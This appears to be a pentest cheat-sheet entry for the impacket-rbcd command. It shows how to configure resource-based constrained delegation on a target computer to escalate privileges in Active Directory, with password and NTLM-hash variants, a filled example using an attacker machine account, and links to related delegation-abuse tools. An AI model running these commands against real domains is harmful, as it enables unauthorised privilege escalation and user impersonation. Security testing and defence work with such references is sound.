Impacket RBCD Write
Write msDS-AllowedToActOnBehalfOfOtherIdentity to configure RBCD on a target
- Tool
- impacket-rbcd
- Category
- Privilege Escalation / Delegation Abuse
- Platform
- linux
- Requires
- password
- Protocols
- LDAP
Syntax
Angle-bracket tokens are placeholders — replace them with your target's values, or open this command in the app to fill them in and copy the result.
impacket-rbcd -dc-host <ip> -delegate-from '<computer>' -delegate-to '<target>' -action 'write' '<domain>/<user>:<password>'
Credential variants
The same attack using a different authentication material.
NTLM Hash requires NTLM hash
impacket-rbcd -dc-host <ip> -delegate-from '<computer>' -delegate-to '<target>' -action 'write' -hashes ':<hash>' '<domain>/<user>'
Read (verify) requires password
impacket-rbcd -dc-host <ip> -delegate-from '<computer>' -delegate-to '<target>' -action 'read' '<domain>/<user>:<password>'
Examples
impacket-rbcd -dc-host 192.168.1.2 -delegate-from 'ATTACKERSYSTEM$' -delegate-to 'US-HELPDESK$' -action 'write' -hashes ':e53153fc2dc8d4c5a5839e46220717e5' 'corp.local/mgmtadmin'
Tags
Related commands
- bloodyAD add badSuccessor Create a Delegated Managed Service Account (dMSA) and chain it via…
- bloodyAD Set RBCD Configure Resource-Based Constrained Delegation: write…
- Impacket Add Computer Create a new computer account in Active Directory (used for RBCD attacks)
- Impacket getST (S4U) Abuse constrained delegation or RBCD via S4U2Self/S4U2Proxy to impersonate a user
- NetExec badsuccessor Module (dMSA Abuse) Detect BadSuccessor dMSA-link abuse: a Server 2025 delegated Managed Service Account…
- PyWhisker Shadow Credentials Add shadow credentials to a target account's msDS-KeyCredentialLink attribute
- RBCD Attack Configure Resource-Based Constrained Delegation (RBCD) on a target computer
- Rubeus S4U Delegation Abuse constrained delegation via S4U on Windows using Rubeus